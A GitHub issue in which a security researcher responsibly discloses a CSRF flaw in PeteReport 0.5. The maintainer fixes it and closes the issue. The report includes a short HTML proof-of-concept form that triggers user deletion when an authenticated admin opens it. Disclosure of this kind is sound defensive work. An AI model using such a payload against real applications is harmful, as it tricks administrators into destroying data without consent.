

[New issue](#)[Jump to bottom](#)

# Security Issue - CSRF (Delete user,product,etc) #34

🔒 Closed alestorm980 opened this issue on Feb 7 · 2 comments

Labels

bug

alestorm980 commented on Feb 7

Hi I am a security researcher at Fluid Attacks, our security team found a security issue inside PeteReport version 0.5.

Attached below are the links to our responsible disclosure policy.

- <https://fluidattacks.com/advisories/policy>

## Bug description

PeteReport **Version 0.5** contains a Cross Site Request Forgery (CSRF) vulnerability allowing an attacker to trick users into deleting users, products, reports and findings in the application.

### CVSSv3 Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

### CVSSv3 Base Score:

4.3

## Steps to reproduce

1. Create a malicious html file with the following content.

```
<html>
<body>
```

```

<script>history.pushState('', '', '/')</script>
<!--Change ID -->
<form action="https://127.0.0.1/configuration/user/delete/:id">
  <input type="submit" value="Submit request" />
</form>
</body>
</html>

```

2. If an authenticated admin visits the malicious url, the user with the correspond id will be deleted

## Screenshots and files

The screenshot shows the PeTeReport Tool web interface. The top bar is orange with a 'Logout admin session' button. The sidebar on the left contains links for Dashboard, Configuration, Products, Reports, and Findings. The main content area shows the '3 Users' configuration page. It includes a search bar and a table with columns: User, Email, Active, Group, Admin, and Actions. The table lists three users: 'admin' (administrator, active), 'test' (viewer, active), and 'viewer' (viewer, active). Each user has 'View', 'Edit', and 'Delete' actions. The footer shows 'Copyright © 2021 PeTeReport. All rights reserved.' and 'Version 0.5'.

```

<html>
<body>
<script>history.pushState('', '', '/')</script>
<!--Change ID -->
<form action="https://127.0.0.1/configuration/user/delete/7">
  <input type="submit" value="Submit request" />
</form>
</body>
</html>

```

## System Information

- Version: PeteReport Version 0.5.
- Operating System: Docker.
- Web Server: nginx.



**1modm** added the `bug` label on Feb 8

**1modm** commented on Feb 8

Owner

@alestorm980 Thank you for bring this to me, I missed the csrf token in the delete endpoints. Take a look into the last commit and let me know if do you find more issues.

Muchas gracias :)



**1modm** closed this as completed on Feb 8

**alestorm980** commented on Feb 8

Author

Hi @1modm, thanks for your fast response!

#### Assignees

No one assigned

#### Labels

`bug`

#### Projects

None yet

#### Milestone

No milestone

#### Development

No branches or pull requests

2 participants

